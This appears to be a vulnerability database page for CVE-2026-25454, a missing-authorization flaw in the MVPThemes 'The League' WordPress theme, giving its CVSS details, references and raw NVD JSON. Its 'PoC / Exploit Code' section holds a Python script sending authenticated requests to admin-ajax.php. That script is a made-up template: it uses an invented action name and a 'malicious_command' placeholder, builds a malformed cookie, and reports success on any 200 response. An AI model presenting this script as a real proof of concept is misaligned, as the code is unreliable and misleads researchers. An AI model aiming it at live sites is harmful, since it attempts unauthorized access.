CVE-2026-25454

Description

Missing Authorization vulnerability in MVPThemes The League the-league allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects The League: from n/a through <= 4.4.1.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

MVPThemes The League <= 4.4.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
import requests

def exploit_missing_authorization(target_url, session_cookie):
    """
    PoC for CVE-2026-25454: Missing Authorization in The League Theme
    This script attempts to perform an unauthorized action affecting availability.
    """
    # The vulnerable endpoint is typically an AJAX action in WordPress
    ajax_url = f"{target_url}/wp-admin/admin-ajax.php"
    
    headers = {
        "Cookie": f"wordpress_logged_in_{session_cookie}",
        "User-Agent": "CVE-2026-25454-Scanner"
    }
    
    # Hypothetical payload based on Broken Access Control
    # Adjust 'action' parameter based on actual vulnerable function discovered via analysis
    payload = {
        "action": "the_league_vulnerable_action", 
        "data": "malicious_command"
    }

    try:
        response = requests.post(ajax_url, data=payload, headers=headers, timeout=10)
        if response.status_code == 200:
            print("[+] Potential exploitation successful. Server responded with 200 OK.")
            print(f"[+] Response: {response.text[:100]}")
        else:
            print(f"[-] Exploit failed. Server responded with {response.status_code}")
    except Exception as e:
        print(f"[!] Error occurred: {e}")

if __name__ == "__main__":
    # Replace with actual target and cookie
    target = "http://example.com"
    cookie = "user_session_value"
    exploit_missing_authorization(target, cookie)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-25454
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-25454
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-25454/
[4] VulDB https://vuldb.com/cve/CVE-2026-25454
[5] https://patchstack.com/database/Wordpress/Theme/the-league/vulnerability/wordpress-the-league-theme-4-4-1-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-25454", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:16:51.473", "lastModified": "2026-04-28T02:16:07.673", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in MVPThemes The League the-league allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects The League: from n/a through <= 4.4.1."}, {"lang": "es", "value": "Vulnerabilidad de Autorización Faltante en MVPThemes The League the-league permite Explotar Niveles de Seguridad de Control de Acceso Incorrectamente Configurados. Este problema afecta a The League: desde n/a hasta <= 4.4.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/the-league/vulnerability/wordpress-the-league-theme-4-4-1-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}